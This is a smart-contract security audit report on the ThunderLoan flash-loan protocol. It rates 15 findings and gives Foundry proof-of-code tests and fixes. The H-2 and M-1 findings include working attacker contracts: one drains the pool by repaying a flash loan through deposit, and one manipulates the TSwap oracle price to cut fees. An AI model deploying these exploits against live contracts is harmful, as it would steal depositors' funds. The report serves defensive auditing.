



Protocol Audit Report

Prepared by: Patrick Ngururi

<https://github.com/Patrick-Ngururi>

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Protocol Summary

The ⚡ThunderLoan⚡ protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current ThunderLoan contract to the ThunderLoanUpgraded contract. Please include this upgrade in scope of a security review.

Disclaimer

Patrick's team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement

of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the [CodeHawks](#) severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
#-- interfaces
|  #-- IFlashLoanReceiver.sol
|  #-- IPoolFactory.sol
|  #-- ITSwapPool.sol
|  #-- IThunderLoan.sol
#-- protocol
|  #-- AssetToken.sol
|  #-- OracleUpgradeable.sol
|  #-- ThunderLoan.sol
#-- upgradedProtocol
|  #-- ThunderLoanUpgraded.sol
```

Roles

Owner: The owner of the protocol who has the power to upgrade the implementation. Liquidity Provider: A user who deposits assets into the protocol to earn interest. User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	3
Info	4
Gas	3
Total	15

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchange` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    // @Audit-High
    @> uint256 calculatedFee = getCalculatedFee(token, amount);
    @> assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.

2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

► Proof Of Code

Place the following into `ThunderLoanTest.t.sol`:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);
    tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);

    vm.startPrank(user);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
amountToBorrow, "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
}
```

Recommended Mitigation: Remove the incorrect `updateExchangeRate` lines from `deposit`

```
function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    - uint256 calculatedFee = getCalculatedFee(token, amount);
    - assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: By calling the `deposit` function to repay a loan, an attacker can meet the flashloan's repayment check, while being allowed to later redeem their deposited tokens, stealing the loan funds.

Impact: This exploit drains the liquidity pool for the flash loaned token, breaking internal accounting and stealing all funds.

Proof of Concept:

1. Attacker executes a `flashloan`.
2. Borrowed funds are deposited into `ThunderLoan` via a malicious contract's `executeOperation` function
3. `Flashloan` check passes due to check vs starting `AssetToken` Balance being equal to the post deposit amount
4. Attacker is able to call `redeem` on `ThunderLoan` to withdraw the deposited tokens after the flash loan as resolved.

► Proof Of Code

Add the following to `ThunderLoanTest.t.sol` and run `forge test --mt testUseDepositInsteadOfRepayToStealFunds`

```
function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken
hasDeposits {
    uint256 amountToBorrow = 50e18;
    DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
    vm.startPrank(user);
    tokenA.mint(address(dor), fee);
    thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
    dor.redeemMoney();
    vm.stopPrank();

    assert(tokenA.balanceOf(address(dor)) > fee);
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
```

```

        bytes calldata /*params*/
    )
    external
    returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}

```

Recommended Mitigation: `ThunderLoan` could prevent deposits while an `AssetToken` is currently flash loaning.

```

function deposit(IERC20 token, uint256 amount) external
    revertIfZero(amount) revertIfNotAllowedToken(token) {
+   if (s_currentlyFlashLoaning[token]) {
+       revert ThunderLoan__CurrentlyFlashLoaning();
+   }
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

```

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```

uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee

```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

► Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from
"../../src/upgradedProtocol/ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeTo(address(upgraded));
    uint256 feeAfterUpgrade = thunderLoan.getFee();

    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

You can also see the storage layout difference by running ``forge inspect ThunderLoan storage`` and ``forge inspect ThunderLoanUpgraded storage``

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
- uint256 private s_flashLoanFee; // 0.3% ETH fee
- uint256 public constant FEE_PRECISION = 1e18;
+ uint256 private s_blank;
+ uint256 private s_flashLoanFee;
+ uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
 - a. User sells 1000 `tokenA`, tanking the price.
 - b. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.

i. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken =
    IPoolFactory(s_poolFactory).getPool(token);
    @>    return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

2. The user then repays the first flash loan, and then repays the second flash loan.

Add the following to `ThunderLoanTest.t.sol`.

► Proof Of Code

```
function testOracleManipulation() public {
    // 1. Setup contracts
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");
    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
    // Create a TSwap Dex between WETH/ TokenA and initialize Thunder Loan
    address tswapPool = pf.createPool(address(tokenA));
    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(pf));

    // 2. Fund TSwap
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(address(tswapPool), 100e18);
    weth.mint(liquidityProvider, 100e18);
    weth.approve(address(tswapPool), 100e18);
```

```

    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18,
block.timestamp);
    vm.stopPrank();

    // 3. Fund ThunderLoan
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(address(thunderLoan), 100e18);
    thunderLoan.deposit(tokenA, 100e18);
    vm.stopPrank();

    uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
    console2.log("Normal Fee is:", normalFeeCost);

    // 4. Execute 2 Flash Loans
    uint256 amountToBorrow = 50e18;
    MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
        address(tswapPool), address(thunderLoan),
address(thunderLoan.getAssetFromToken(tokenA))
    );

    vm.startPrank(user);
    tokenA.mint(address(flr), 100e18);
    thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); // the
executeOperation function of flr will
        // actually call flashloan a second time.
    vm.stopPrank();

    uint256 attackFee = flr.feeOne() + flr.feeTwo();
    console2.log("Attack Fee is:", attackFee);
    assert(attackFee < normalFeeCost);
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    // 1. Swap TokenA borrowed for WETH
    // 2. Take out a second flash loan to compare fees
    constructor(address _tswapPool, address _thunderLoan, address
_repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,

```

```

        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
    external
    returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought =
tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // Tanks the price:
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
wethBought, block.timestamp);
            // Second Flash Loan!
            thunderLoan.flashloan(address(this), IERC20(token), amount,
""");
            // We repay the flash loan via transfer since the repay
function won't let us!
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // We repay the flash loan via transfer since the repay
function won't let us!
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}

```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

File: src/protocol/ThunderLoan.sol

```

function setAllowedToken(IERC20 token, bool allowed) external onlyOwner
returns (AssetToken) {

function _authorizeUpgrade(address newImplementation) internal override
onlyOwner { }

```

Contralized owners can brick redemptions by disapproving of a specific token

LOW

[L-1] Empty Function Body - Consider commenting why

Instances (1):

File: src/protocol/ThunderLoan.sol

```
function _authorizeUpgrade(address newImplementation) internal override  
onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

File: src/protocol/OracleUpgradeable.sol

```
function __Oracle_init(address poolFactoryAddress) internal  
onlyInitializing {
```

File: src/protocol/ThunderLoan.sol

```
function initialize(address tswapAddress) external initializer {  
  
function initialize(address tswapAddress) external initializer {  
  
__Ownable_init();  
  
__UUPSUpgradeable_init();  
  
__Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+   event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+   emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

Running tests...

File		% Lines		% Statements		%	
Branches	% Funcs						
-----		-----		-----		--	

src/protocol/AssetToken.sol		70.00% (7/10)		76.92% (10/13)			
50.00% (1/2)	66.67% (4/6)						
src/protocol/OracleUpgradeable.sol		100.00% (6/6)		100.00% (9/9)			
100.00% (0/0)	80.00% (4/5)						
src/protocol/ThunderLoan.sol		64.52% (40/62)		68.35% (54/79)			
37.50% (6/16)	71.43% (10/14)						

[I-2] Not using __gap[50] for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from false to true, after having been 'true' in the past.

Instances (1):

```
File: src/protocol/ThunderLoan.sol
```

```
mapping(IERC20 token => bool currentlyFlashLoan) private
s_currentlyFlashLoan;
```

[GAS-2] Using private rather than public for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves 3406-3606 gas in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

File: src/protocol/AssetToken.sol

```
uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

File: src/protocol/ThunderLoan.sol

```
uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
```

```
uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```